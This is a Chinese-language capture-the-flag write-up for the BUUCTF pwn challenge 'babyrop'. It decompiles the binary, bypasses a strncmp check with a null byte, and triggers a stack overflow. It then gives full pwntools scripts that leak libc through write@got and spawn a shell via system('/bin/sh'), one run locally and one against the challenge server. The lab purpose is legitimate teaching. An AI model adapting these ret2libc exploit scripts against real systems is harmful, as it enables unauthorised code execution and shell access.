buuctf_pwn_[OGeek2019]babyrop_writeup

buuctf_OGeek2019_babyrop 题目,个人解法

Checksec

1
2
3
4
5
6
7
[*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]

sub_80486BB();
fd = open("/dev/urandom", 0); // 随机数
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2); // func(buf[7])
return 0;
}

看到是随机数,写入四字节到 buf

  • sub_804871F
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]

memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1); // a1 -> s
v5 = read(0, buf, 0x20u); // 从标准输入读取32字节到buf, v5=buf(0x20u)
buf[v5 - 1] = 0; // buf最后一个字节为0x00, 缓冲区溢出不可利用
v1 = strlen(buf);
if ( strncmp(buf, s, v1) ) // 如果不为零则exit, 所以要让strncmp = 0
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7]; // 返回buf[7]给v2
}
  • sub_80487D0
1
2
3
4
5
6
7
8
9
10
11
ssize_t __cdecl sub_80487D0(char a1)            // a1 = buf[7]
{
ssize_t result; // eax
char buf[231]; // [esp+11h] [ebp-E7h] BYREF

if ( a1 == 127 )
result = read(0, buf, 0xC8u);
else
result = read(0, buf, a1); // 没有0x00的过滤,可能存在缓冲区溢出,这里a1尽可能越大越好
return result;
}

分析

  • strncmp(buf, s, v1) 必须为0
  • result = read(0, buf, a1); 传入的 a1 ASCII 值一定要大
  • IDA 分析没有 system/bin/sh , 不存在 shellcode (NX enable),考虑构造 ROP 链,ret2libc 攻击

绕过 strncmp

strncmp(buf, s, v1) : 比较 buf 和 s 的前 v1个字符是否相等, 如果不相同,返回非0值
首先 s 是肯定不能控制的,因为 s 是写入的随机数,那就从 v1和 buf 入手:
v1是 strlen(buf) , 如果让 buf 第一位为0 , 那 strlen buf 肯定就是0 ,前0个就一定是相等的,返回1
所以要让 buf 第一位为 \x00

buf 溢出

a1 ASCII 一定要大于等于235
方便省事,直接让 buf[7] = '\xff'

构造 payload

绕过和溢出部分的 payload,经过分析应该是:

1
payload = '\x00' + '\xff' * 7

构造 ROP 链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context(log_level='debug',arch='i386', os='linux')   # checksec FILENAME

pwnfile= './pwn'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")  # 引入libc共享库文件

before = '\x00' + '\xff' * 7 # 绕过 strncmp 和 buf[7] ASCII 溢出
io.sendline(before)
io.recvuntil('Correct\n')

padding = 0xeb
main_addr = 0x8048825
write_plt = elf.plt["write"]
write_got = elf.got["write"]

payload = b'a' * padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) + p32(main_addr)
# 标准ret2libc x86 利用方法
io.sendline(payload)
write_addr = u32(io.recv(4))
print('write_addr:',hex(write_addr))

# 求基地址
libc_base = write_addr - libc.sym["write"]
print('libc_base:',hex(libc_base))

# binsh/system_addr
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

io.sendline(before)
io.recvuntil('Correct\n')

payload2 = b'a' * padding + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
io.sendline(payload2)

io.interactive()

解题脚本

这道题给了 libc.so 文件,试了半天,用 LibcSearcher 反而做不出来….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context(log_level='debug',arch='i386', os='linux')  # checksec FILENAME

pwnfile= './pwn'
# io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF("libc-2.23_buuctf_babyrop_libc.so") # 引入libc共享库文件
io = remote("node5.buuoj.cn",29198)

before = '\x00' + '\xff' * 7  # 绕过 strncmp 和 buf[7] ASCII 溢出
io.sendline(before)
io.recvuntil('Correct\n')

padding = 0xeb
main_addr = 0x8048825
write_plt = elf.plt["write"]
write_got = elf.got["write"]

payload = b'a' * padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) + p32(main_addr)
# 标准ret2libc x86 利用方法
io.sendline(payload)
write_addr = u32(io.recv(4))
print('write_addr:',hex(write_addr))

# 求基地址
libc_base = write_addr - libc.sym["write"]
print('libc_base:',hex(libc_base))

# binsh/system_addr
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print('system:',hex(system_addr))
print('bin_sh:',hex(binsh_addr))

io.sendline(before)
io.recvuntil('Correct\n')

payload2 = b'a' * padding + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
io.sendline(payload2)

io.interactive()